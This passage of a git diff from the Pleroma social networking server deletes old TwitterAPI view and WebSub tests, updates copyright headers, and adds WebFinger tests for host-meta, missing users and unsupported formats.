- alias Pleroma.Web.TwitterAPI.TwitterAPI
- alias Pleroma.Web.TwitterAPI.UserView
-
- import Pleroma.Factory
-
- setup do
- user = insert(:user, bio: "<span>Here's some html</span>")
- [user: user]
- end
-
- test "A follow notification" do
- note_activity = insert(:note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
- follower = insert(:user)
-
- {:ok, follower} = User.follow(follower, user)
- {:ok, activity} = ActivityPub.follow(follower, user)
- Cachex.put(:user_cache, "user_info:#{user.id}", User.user_info(Repo.get!(User, user.id)))
- [follow_notif] = Notification.for_user(user)
-
- represented = %{
- "created_at" => follow_notif.inserted_at |> Utils.format_naive_asctime(),
- "from_profile" => UserView.render("show.json", %{user: follower, for: user}),
- "id" => follow_notif.id,
- "is_seen" => 0,
- "notice" => ActivityView.render("activity.json", %{activity: activity, for: user}),
- "ntype" => "follow"
- }
-
- assert represented ==
- NotificationView.render("notification.json", %{notification: follow_notif, for: user})
- end
-
- test "A mention notification" do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- TwitterAPI.create_status(other_user, %{"status" => "Päivää, @#{user.nickname}"})
-
- [notification] = Notification.for_user(user)
-
- represented = %{
- "created_at" => notification.inserted_at |> Utils.format_naive_asctime(),
- "from_profile" => UserView.render("show.json", %{user: other_user, for: user}),
- "id" => notification.id,
- "is_seen" => 0,
- "notice" => ActivityView.render("activity.json", %{activity: activity, for: user}),
- "ntype" => "mention"
- }
-
- assert represented ==
- NotificationView.render("notification.json", %{notification: notification, for: user})
- end
-
- test "A retweet notification" do
- note_activity = insert(:note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
- repeater = insert(:user)
-
- {:ok, _activity} = TwitterAPI.repeat(repeater, note_activity.id)
- [notification] = Notification.for_user(user)
-
- represented = %{
- "created_at" => notification.inserted_at |> Utils.format_naive_asctime(),
- "from_profile" => UserView.render("show.json", %{user: repeater, for: user}),
- "id" => notification.id,
- "is_seen" => 0,
- "notice" =>
- ActivityView.render("activity.json", %{activity: notification.activity, for: user}),
- "ntype" => "repeat"
- }
-
- assert represented ==
- NotificationView.render("notification.json", %{notification: notification, for: user})
- end
-
- test "A like notification" do
- note_activity = insert(:note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
- liker = insert(:user)
-
- {:ok, _activity} = TwitterAPI.fav(liker, note_activity.id)
- [notification] = Notification.for_user(user)
-
- represented = %{
- "created_at" => notification.inserted_at |> Utils.format_naive_asctime(),
- "from_profile" => UserView.render("show.json", %{user: liker, for: user}),
- "id" => notification.id,
- "is_seen" => 0,
- "notice" =>
- ActivityView.render("activity.json", %{activity: notification.activity, for: user}),
- "ntype" => "like"
- }
-
- assert represented ==
- NotificationView.render("notification.json", %{notification: notification, for: user})
- end
-end
diff --git a/test/web/twitter_api/views/user_view_test.exs b/test/web/twitter_api/views/user_view_test.exs
deleted file mode 100644
index 70c5a0b7f..000000000
--- a/test/web/twitter_api/views/user_view_test.exs
+++ /dev/null
@@ -1,323 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.TwitterAPI.UserViewTest do
- use Pleroma.DataCase
-
- alias Pleroma.User
- alias Pleroma.Web.CommonAPI.Utils
- alias Pleroma.Web.TwitterAPI.UserView
-
- import Pleroma.Factory
-
- setup do
- user = insert(:user, bio: "<span>Here's some html</span>")
- [user: user]
- end
-
- test "A user with only a nickname", %{user: user} do
- user = %{user | name: nil, nickname: "scarlett@catgirl.science"}
- represented = UserView.render("show.json", %{user: user})
- assert represented["name"] == user.nickname
- assert represented["name_html"] == user.nickname
- end
-
- test "A user with an avatar object", %{user: user} do
- image = "image"
- user = %{user | avatar: %{"url" => [%{"href" => image}]}}
- represented = UserView.render("show.json", %{user: user})
- assert represented["profile_image_url"] == image
- end
-
- test "A user with emoji in username" do
- expected =
- "<img class=\"emoji\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"
-
- user =
- insert(:user, %{
- info: %{
- source_data: %{
- "tag" => [
- %{
- "type" => "Emoji",
- "icon" => %{"url" => "/file.png"},
- "name" => ":karjalanpiirakka:"
- }
- ]
- }
- },
- name: ":karjalanpiirakka: man"
- })
-
- represented = UserView.render("show.json", %{user: user})
- assert represented["name_html"] == expected
- end
-
- test "A user" do
- note_activity = insert(:note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
- {:ok, user} = User.update_note_count(user)
- follower = insert(:user)
- second_follower = insert(:user)
-
- User.follow(follower, user)
- User.follow(second_follower, user)
- User.follow(user, follower)
- {:ok, user} = User.update_follower_count(user)
- Cachex.put(:user_cache, "user_info:#{user.id}", User.user_info(Repo.get!(User, user.id)))
-
- image = "http://localhost:4001/images/avi.png"
- banner = "http://localhost:4001/images/banner.png"
-
- represented = %{
- "id" => user.id,
- "name" => user.name,
- "screen_name" => user.nickname,
- "name_html" => user.name,
- "description" => HtmlSanitizeEx.strip_tags(user.bio |> String.replace("<br>", "\n")),
- "description_html" => HtmlSanitizeEx.basic_html(user.bio),
- "created_at" => user.inserted_at |> Utils.format_naive_asctime(),
- "favourites_count" => 0,
- "statuses_count" => 1,
- "friends_count" => 1,
- "followers_count" => 2,
- "profile_image_url" => image,
- "profile_image_url_https" => image,
- "profile_image_url_profile_size" => image,
- "profile_image_url_original" => image,
- "following" => false,
- "follows_you" => false,
- "statusnet_blocking" => false,
- "statusnet_profile_url" => user.ap_id,
- "cover_photo" => banner,
- "background_image" => nil,
- "is_local" => true,
- "locked" => false,
- "hide_follows" => false,
- "hide_followers" => false,
- "fields" => [],
- "pleroma" => %{
- "confirmation_pending" => false,
- "tags" => [],
- "skip_thread_containment" => false
- },
- "rights" => %{"admin" => false, "delete_others_notice" => false},
- "role" => "member"
- }
-
- assert represented == UserView.render("show.json", %{user: user})
- end
-
- test "User exposes settings for themselves and only for themselves", %{user: user} do
- as_user = UserView.render("show.json", %{user: user, for: user})
- assert as_user["default_scope"] == user.info.default_scope
- assert as_user["no_rich_text"] == user.info.no_rich_text
- assert as_user["pleroma"]["notification_settings"] == user.info.notification_settings
- as_stranger = UserView.render("show.json", %{user: user})
- refute as_stranger["default_scope"]
- refute as_stranger["no_rich_text"]
- refute as_stranger["pleroma"]["notification_settings"]
- end
-
- test "A user for a given other follower", %{user: user} do
- follower = insert(:user, %{following: [User.ap_followers(user)]})
- {:ok, user} = User.update_follower_count(user)
- image = "http://localhost:4001/images/avi.png"
- banner = "http://localhost:4001/images/banner.png"
-
- represented = %{
- "id" => user.id,
- "name" => user.name,
- "screen_name" => user.nickname,
- "name_html" => user.name,
- "description" => HtmlSanitizeEx.strip_tags(user.bio |> String.replace("<br>", "\n")),
- "description_html" => HtmlSanitizeEx.basic_html(user.bio),
- "created_at" => user.inserted_at |> Utils.format_naive_asctime(),
- "favourites_count" => 0,
- "statuses_count" => 0,
- "friends_count" => 0,
- "followers_count" => 1,
- "profile_image_url" => image,
- "profile_image_url_https" => image,
- "profile_image_url_profile_size" => image,
- "profile_image_url_original" => image,
- "following" => true,
- "follows_you" => false,
- "statusnet_blocking" => false,
- "statusnet_profile_url" => user.ap_id,
- "cover_photo" => banner,
- "background_image" => nil,
- "is_local" => true,
- "locked" => false,
- "hide_follows" => false,
- "hide_followers" => false,
- "fields" => [],
- "pleroma" => %{
- "confirmation_pending" => false,
- "tags" => [],
- "skip_thread_containment" => false
- },
- "rights" => %{"admin" => false, "delete_others_notice" => false},
- "role" => "member"
- }
-
- assert represented == UserView.render("show.json", %{user: user, for: follower})
- end
-
- test "A user that follows you", %{user: user} do
- follower = insert(:user)
- {:ok, follower} = User.follow(follower, user)
- {:ok, user} = User.update_follower_count(user)
- image = "http://localhost:4001/images/avi.png"
- banner = "http://localhost:4001/images/banner.png"
-
- represented = %{
- "id" => follower.id,
- "name" => follower.name,
- "screen_name" => follower.nickname,
- "name_html" => follower.name,
- "description" => HtmlSanitizeEx.strip_tags(follower.bio |> String.replace("<br>", "\n")),
- "description_html" => HtmlSanitizeEx.basic_html(follower.bio),
- "created_at" => follower.inserted_at |> Utils.format_naive_asctime(),
- "favourites_count" => 0,
- "statuses_count" => 0,
- "friends_count" => 1,
- "followers_count" => 0,
- "profile_image_url" => image,
- "profile_image_url_https" => image,
- "profile_image_url_profile_size" => image,
- "profile_image_url_original" => image,
- "following" => false,
- "follows_you" => true,
- "statusnet_blocking" => false,
- "statusnet_profile_url" => follower.ap_id,
- "cover_photo" => banner,
- "background_image" => nil,
- "is_local" => true,
- "locked" => false,
- "hide_follows" => false,
- "hide_followers" => false,
- "fields" => [],
- "pleroma" => %{
- "confirmation_pending" => false,
- "tags" => [],
- "skip_thread_containment" => false
- },
- "rights" => %{"admin" => false, "delete_others_notice" => false},
- "role" => "member"
- }
-
- assert represented == UserView.render("show.json", %{user: follower, for: user})
- end
-
- test "a user that is a moderator" do
- user = insert(:user, %{info: %{is_moderator: true}})
- represented = UserView.render("show.json", %{user: user, for: user})
-
- assert represented["rights"]["delete_others_notice"]
- assert represented["role"] == "moderator"
- end
-
- test "a user that is a admin" do
- user = insert(:user, %{info: %{is_admin: true}})
- represented = UserView.render("show.json", %{user: user, for: user})
-
- assert represented["rights"]["admin"]
- assert represented["role"] == "admin"
- end
-
- test "A moderator with hidden role for another user", %{user: user} do
- admin = insert(:user, %{info: %{is_moderator: true, show_role: false}})
- represented = UserView.render("show.json", %{user: admin, for: user})
-
- assert represented["role"] == nil
- end
-
- test "An admin with hidden role for another user", %{user: user} do
- admin = insert(:user, %{info: %{is_admin: true, show_role: false}})
- represented = UserView.render("show.json", %{user: admin, for: user})
-
- assert represented["role"] == nil
- end
-
- test "A regular user for the admin", %{user: user} do
- admin = insert(:user, %{info: %{is_admin: true}})
- represented = UserView.render("show.json", %{user: user, for: admin})
-
- assert represented["pleroma"]["deactivated"] == false
- end
-
- test "A blocked user for the blocker" do
- user = insert(:user)
- blocker = insert(:user)
- User.block(blocker, user)
- image = "http://localhost:4001/images/avi.png"
- banner = "http://localhost:4001/images/banner.png"
-
- represented = %{
- "id" => user.id,
- "name" => user.name,
- "screen_name" => user.nickname,
- "name_html" => user.name,
- "description" => HtmlSanitizeEx.strip_tags(user.bio |> String.replace("<br>", "\n")),
- "description_html" => HtmlSanitizeEx.basic_html(user.bio),
- "created_at" => user.inserted_at |> Utils.format_naive_asctime(),
- "favourites_count" => 0,
- "statuses_count" => 0,
- "friends_count" => 0,
- "followers_count" => 0,
- "profile_image_url" => image,
- "profile_image_url_https" => image,
- "profile_image_url_profile_size" => image,
- "profile_image_url_original" => image,
- "following" => false,
- "follows_you" => false,
- "statusnet_blocking" => true,
- "statusnet_profile_url" => user.ap_id,
- "cover_photo" => banner,
- "background_image" => nil,
- "is_local" => true,
- "locked" => false,
- "hide_follows" => false,
- "hide_followers" => false,
- "fields" => [],
- "pleroma" => %{
- "confirmation_pending" => false,
- "tags" => [],
- "skip_thread_containment" => false
- },
- "rights" => %{"admin" => false, "delete_others_notice" => false},
- "role" => "member"
- }
-
- blocker = User.get_cached_by_id(blocker.id)
- assert represented == UserView.render("show.json", %{user: user, for: blocker})
- end
-
- test "a user with mastodon fields" do
- fields = [
- %{
- "name" => "Pronouns",
- "value" => "she/her"
- },
- %{
- "name" => "Website",
- "value" => "https://example.org/"
- }
- ]
-
- user =
- insert(:user, %{
- info: %{
- source_data: %{
- "attachment" =>
- Enum.map(fields, fn field -> Map.put(field, "type", "PropertyValue") end)
- }
- }
- })
-
- userview = UserView.render("show.json", %{user: user})
- assert userview["fields"] == fields
- end
-end
diff --git a/test/web/uploader_controller_test.exs b/test/web/uploader_controller_test.exs
index 70028df1c..7c7f9a6ea 100644
--- a/test/web/uploader_controller_test.exs
+++ b/test/web/uploader_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploaderControllerTest do
diff --git a/test/web/views/error_view_test.exs b/test/web/views/error_view_test.exs
index 3857d585f..4e5398c83 100644
--- a/test/web/views/error_view_test.exs
+++ b/test/web/views/error_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ErrorViewTest do
diff --git a/test/web/web_finger/web_finger_controller_test.exs b/test/web/web_finger/web_finger_controller_test.exs
index a14ed3126..49cd1460b 100644
--- a/test/web/web_finger/web_finger_controller_test.exs
+++ b/test/web/web_finger/web_finger_controller_test.exs
@@ -1,22 +1,34 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do
use Pleroma.Web.ConnCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
+ clear_config_all([:instance, :federating]) do
+ Pleroma.Config.put([:instance, :federating], true)
+ end
- Pleroma.Config.put(config_path, true)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
- :ok
+ test "GET host-meta" do
+ response =
+ build_conn()
+ |> get("/.well-known/host-meta")
+
+ assert response.status == 200
+
+ assert response.resp_body ==
+ ~s(<?xml version="1.0" encoding="UTF-8"?><XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0"><Link rel="lrdd" template="#{
+ Pleroma.Web.base_url()
+ }/.well-known/webfinger?resource={uri}" type="application/xrd+xml" /></XRD>)
end
test "Webfinger JRD" do
@@ -30,6 +42,16 @@ defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do
assert json_response(response, 200)["subject"] == "acct:#{user.nickname}@localhost"
end
+ test "it returns 404 when user isn't found (JSON)" do
+ result =
+ build_conn()
+ |> put_req_header("accept", "application/jrd+json")
+ |> get("/.well-known/webfinger?resource=acct:jimm@localhost")
+ |> json_response(404)
+
+ assert result == "Couldn't find user"
+ end
+
test "Webfinger XML" do
user = insert(:user)
@@ -41,6 +63,28 @@ defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do
assert response(response, 200)
end
+ test "it returns 404 when user isn't found (XML)" do
+ result =
+ build_conn()
+ |> put_req_header("accept", "application/xrd+xml")
+ |> get("/.well-known/webfinger?resource=acct:jimm@localhost")
+ |> response(404)
+
+ assert result == "Couldn't find user"
+ end
+
+ test "Sends a 404 when invalid format" do
+ user = insert(:user)
+
+ assert capture_log(fn ->
+ assert_raise Phoenix.NotAcceptableError, fn ->
+ build_conn()
+ |> put_req_header("accept", "text/html")
+ |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost")
+ end
+ end) =~ "no supported media type in accept header"
+ end
+
test "Sends a 400 when resource param is missing" do
response =
build_conn()
diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs
index 0578b4b8e..5aa8c73cf 100644
--- a/test/web/web_finger/web_finger_test.exs
+++ b/test/web/web_finger/web_finger_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebFingerTest do
@@ -40,17 +40,9 @@ defmodule Pleroma.Web.WebFingerTest do
end
describe "fingering" do
- test "returns the info for an OStatus user" do
- user = "shp@social.heldscal.la"
-
- {:ok, data} = WebFinger.finger(user)
-
- assert data["magic_key"] ==
- "RSA.wQ3i9UA0qmAxZ0WTIp4a-waZn_17Ez1pEEmqmqoooRsG1_BvpmOvLN0G2tEcWWxl2KOtdQMCiPptmQObeZeuj48mdsDZ4ArQinexY2hCCTcbV8Xpswpkb8K05RcKipdg07pnI7tAgQ0VWSZDImncL6YUGlG5YN8b5TjGOwk2VG8=.AQAB"
-
- assert data["topic"] == "https://social.heldscal.la/api/statuses/user_timeline/29191.atom"
- assert data["subject"] == "acct:shp@social.heldscal.la"
- assert data["salmon"] == "https://social.heldscal.la/main/salmon/user/29191"
+ test "returns error when fails parse xml or json" do
+ user = "invalid_content@social.heldscal.la"
+ assert {:error, %Jason.DecodeError{}} = WebFinger.finger(user)
end
test "returns the ActivityPub actor URI for an ActivityPub user" do
@@ -67,18 +59,18 @@ defmodule Pleroma.Web.WebFingerTest do
assert data["ap_id"] == "https://gerzilla.de/channel/kaniini"
end
- test "returns the correctly for json ostatus users" do
- user = "winterdienst@gnusocial.de"
+ test "it work for AP-only user" do
+ user = "kpherox@mstdn.jp"
{:ok, data} = WebFinger.finger(user)
- assert data["magic_key"] ==
- "RSA.qfYaxztz7ZELrE4v5WpJrPM99SKI3iv9Y3Tw6nfLGk-4CRljNYqV8IYX2FXjeucC_DKhPNnlF6fXyASpcSmA_qupX9WC66eVhFhZ5OuyBOeLvJ1C4x7Hi7Di8MNBxY3VdQuQR0tTaS_YAZCwASKp7H6XEid3EJpGt0EQZoNzRd8=.AQAB"
+ assert data["magic_key"] == nil
+ assert data["salmon"] == nil
- assert data["topic"] == "https://gnusocial.de/api/statuses/user_timeline/249296.atom"
- assert data["subject"] == "acct:winterdienst@gnusocial.de"
- assert data["salmon"] == "https://gnusocial.de/main/salmon/user/249296"
- assert data["subscribe_address"] == "https://gnusocial.de/main/ostatussub?profile={uri}"
+ assert data["topic"] == "https://mstdn.jp/users/kPherox.atom"
+ assert data["subject"] == "acct:kPherox@mstdn.jp"
+ assert data["ap_id"] == "https://mstdn.jp/users/kPherox"
+ assert data["subscribe_address"] == "https://mstdn.jp/authorize_interaction?acct={uri}"
end
test "it works for friendica" do
diff --git a/test/web/websub/websub_controller_test.exs b/test/web/websub/websub_controller_test.exs
deleted file mode 100644
index aa7262beb..000000000
--- a/test/web/websub/websub_controller_test.exs
+++ /dev/null
@@ -1,92 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.Websub.WebsubControllerTest do
- use Pleroma.Web.ConnCase
- import Pleroma.Factory
- alias Pleroma.Repo
- alias Pleroma.Web.Websub
- alias Pleroma.Web.Websub.WebsubClientSubscription
-
- setup_all do
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, true)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
- :ok
- end
-
- test "websub subscription request", %{conn: conn} do
- user = insert(:user)
-
- path = Pleroma.Web.OStatus.pubsub_path(user)
-
- data = %{
- "hub.callback": "http://example.org/sub",
- "hub.mode": "subscribe",
- "hub.topic": Pleroma.Web.OStatus.feed_path(user),
- "hub.secret": "a random secret",
- "hub.lease_seconds": "100"
- }
-
- conn =
- conn
- |> post(path, data)
-
- assert response(conn, 202) == "Accepted"
- end
-
- test "websub subscription confirmation", %{conn: conn} do
- websub = insert(:websub_client_subscription)
-
- params = %{
- "hub.mode" => "subscribe",
- "hub.topic" => websub.topic,
- "hub.challenge" => "some challenge",
- "hub.lease_seconds" => "100"
- }
-
- conn =
- conn
- |> get("/push/subscriptions/#{websub.id}", params)
-
- websub = Repo.get(WebsubClientSubscription, websub.id)
-
- assert response(conn, 200) == "some challenge"
- assert websub.state == "accepted"
- assert_in_delta NaiveDateTime.diff(websub.valid_until, NaiveDateTime.utc_now()), 100, 5
- end
-
- describe "websub_incoming" do
- test "accepts incoming feed updates", %{conn: conn} do
- websub = insert(:websub_client_subscription)
- doc = "some stuff"
- signature = Websub.sign(websub.secret, doc)
-
- conn =
- conn
- |> put_req_header("x-hub-signature", "sha1=" <> signature)
- |> put_req_header("content-type", "application/atom+xml")
- |> post("/push/subscriptions/#{websub.id}", doc)
-
- assert response(conn, 200) == "OK"
- end
-
- test "rejects incoming feed updates with the wrong signature", %{conn: conn} do
- websub = insert(:websub_client_subscription)
- doc = "some stuff"
- signature = Websub.sign("wrong secret", doc)
-
- conn =
- conn
- |> put_req_header("x-hub-signature", "sha1=" <> signature)
- |> put_req_header("content-type", "application/atom+xml")
- |> post("/push/subscriptions/#{websub.id}", doc)
-
- assert response(conn, 500) == "Error"
- end
- end
-end
diff --git a/test/web/websub/websub_test.exs b/test/web/websub/websub_test.exs
deleted file mode 100644
index 74386d7db..000000000
--- a/test/web/websub/websub_test.exs
+++ /dev/null
@@ -1,232 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.WebsubTest do
- use Pleroma.DataCase
-
- alias Pleroma.Web.Router.Helpers
- alias Pleroma.Web.Websub
- alias Pleroma.Web.Websub.WebsubClientSubscription
- alias Pleroma.Web.Websub.WebsubServerSubscription
-
- import Pleroma.Factory
- import Tesla.Mock
-
- setup do
- mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- test "a verification of a request that is accepted" do
- sub = insert(:websub_subscription)
- topic = sub.topic
-
- getter = fn _path, _headers, options ->
- %{
- "hub.challenge": challenge,
- "hub.lease_seconds": seconds,
- "hub.topic": ^topic,
- "hub.mode": "subscribe"
- } = Keyword.get(options, :params)
-
- assert String.to_integer(seconds) > 0
-
- {:ok,
- %Tesla.Env{
- status: 200,
- body: challenge
- }}
- end
-
- {:ok, sub} = Websub.verify(sub, getter)
- assert sub.state == "active"
- end
-
- test "a verification of a request that doesn't return 200" do
- sub = insert(:websub_subscription)
-
- getter = fn _path, _headers, _options ->
- {:ok,
- %Tesla.Env{
- status: 500,
- body: ""
- }}
- end
-
- {:error, sub} = Websub.verify(sub, getter)
- # Keep the current state.
- assert sub.state == "requested"
- end
-
- test "an incoming subscription request" do
- user = insert(:user)
-
- data = %{
- "hub.callback" => "http://example.org/sub",
- "hub.mode" => "subscribe",
- "hub.topic" => Pleroma.Web.OStatus.feed_path(user),
- "hub.secret" => "a random secret",
- "hub.lease_seconds" => "100"
- }
-
- {:ok, subscription} = Websub.incoming_subscription_request(user, data)
- assert subscription.topic == Pleroma.Web.OStatus.feed_path(user)
- assert subscription.state == "requested"
- assert subscription.secret == "a random secret"
- assert subscription.callback == "http://example.org/sub"
- end
-
- test "an incoming subscription request for an existing subscription" do
- user = insert(:user)
-
- sub =
- insert(:websub_subscription, state: "accepted", topic: Pleroma.Web.OStatus.feed_path(user))
-
- data = %{
- "hub.callback" => sub.callback,
- "hub.mode" => "subscribe",
- "hub.topic" => Pleroma.Web.OStatus.feed_path(user),
- "hub.secret" => "a random secret",
- "hub.lease_seconds" => "100"
- }
-
- {:ok, subscription} = Websub.incoming_subscription_request(user, data)
- assert subscription.topic == Pleroma.Web.OStatus.feed_path(user)
- assert subscription.state == sub.state
- assert subscription.secret == "a random secret"
- assert subscription.callback == sub.callback
- assert length(Repo.all(WebsubServerSubscription)) == 1
- assert subscription.id == sub.id
- end
-
- def accepting_verifier(subscription) do
- {:ok, %{subscription | state: "accepted"}}
- end
-
- test "initiate a subscription for a given user and topic" do
- subscriber = insert(:user)
- user = insert(:user, %{info: %Pleroma.User.Info{topic: "some_topic", hub: "some_hub"}})
-
- {:ok, websub} = Websub.subscribe(subscriber, user, &accepting_verifier/1)
- assert websub.subscribers == [subscriber.ap_id]
- assert websub.topic == "some_topic"
- assert websub.hub == "some_hub"
- assert is_binary(websub.secret)
- assert websub.user == user
- assert websub.state == "accepted"
- end
-
- test "discovers the hub and canonical url" do
- topic = "https://mastodon.social/users/lambadalambda.atom"
-
- {:ok, discovered} = Websub.gather_feed_data(topic)
-
- expected = %{
- "hub" => "https://mastodon.social/api/push",
- "uri" => "https://mastodon.social/users/lambadalambda",
- "nickname" => "lambadalambda",
- "name" => "Critical Value",
- "host" => "mastodon.social",
- "bio" => "a cool dude.",
- "avatar" => %{
- "type" => "Image",
- "url" => [
- %{
- "href" =>
- "https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif?1492379244",
- "mediaType" => "image/gif",
- "type" => "Link"
- }
- ]
- }
- }
-
- assert expected == discovered
- end
-
- test "calls the hub, requests topic" do
- hub = "https://social.heldscal.la/main/push/hub"
- topic = "https://social.heldscal.la/api/statuses/user_timeline/23211.atom"
- websub = insert(:websub_client_subscription, %{hub: hub, topic: topic})
-
- poster = fn ^hub, {:form, data}, _headers ->
- assert Keyword.get(data, :"hub.mode") == "subscribe"
-
- assert Keyword.get(data, :"hub.callback") ==
- Helpers.websub_url(
- Pleroma.Web.Endpoint,
- :websub_subscription_confirmation,
- websub.id
- )
-
- {:ok, %{status: 202}}
- end
-
- task = Task.async(fn -> Websub.request_subscription(websub, poster) end)
-
- change = Ecto.Changeset.change(websub, %{state: "accepted"})
- {:ok, _} = Repo.update(change)
-
- {:ok, websub} = Task.await(task)
-
- assert websub.state == "accepted"
- end
-
- test "rejects the subscription if it can't be accepted" do
- hub = "https://social.heldscal.la/main/push/hub"
- topic = "https://social.heldscal.la/api/statuses/user_timeline/23211.atom"
- websub = insert(:websub_client_subscription, %{hub: hub, topic: topic})
-
- poster = fn ^hub, {:form, _data}, _headers ->
- {:ok, %{status: 202}}
- end
-
- {:error, websub} = Websub.request_subscription(websub, poster, 1000)
- assert websub.state == "rejected"
-
- websub = insert(:websub_client_subscription, %{hub: hub, topic: topic})
-
- poster = fn ^hub, {:form, _data}, _headers ->
- {:ok, %{status: 400}}
- end
-
- {:error, websub} = Websub.request_subscription(websub, poster, 1000)
- assert websub.state == "rejected"
- end
-
- test "sign a text" do
- signed = Websub.sign("secret", "text")
- assert signed == "B8392C23690CCF871F37EC270BE1582DEC57A503" |> String.downcase()
-
- _signed = Websub.sign("secret", [["て"], ['す']])
- end
-
- describe "renewing subscriptions" do
- test "it renews subscriptions that have less than a day of time left" do
- day = 60 * 60 * 24
- now = NaiveDateTime.utc_now()
-
- still_good =
- insert(:websub_client_subscription, %{
- valid_until: NaiveDateTime.add(now, 2 * day),
- topic: "http://example.org/still_good",
- hub: "http://example.org/still_good",
- state: "accepted"
- })
-
- needs_refresh =
- insert(:websub_client_subscription, %{
- valid_until: NaiveDateTime.add(now, day - 100),
- topic: "http://example.org/needs_refresh",
- hub: "http://example.org/needs_refresh",
- state: "accepted"
- })
-
- _refresh = Websub.refresh_subscriptions()
-
- assert still_good == Repo.get(WebsubClientSubscription, still_good.id)
- refute needs_refresh == Repo.get(WebsubClientSubscription, needs_refresh.id)
- end
- end
-end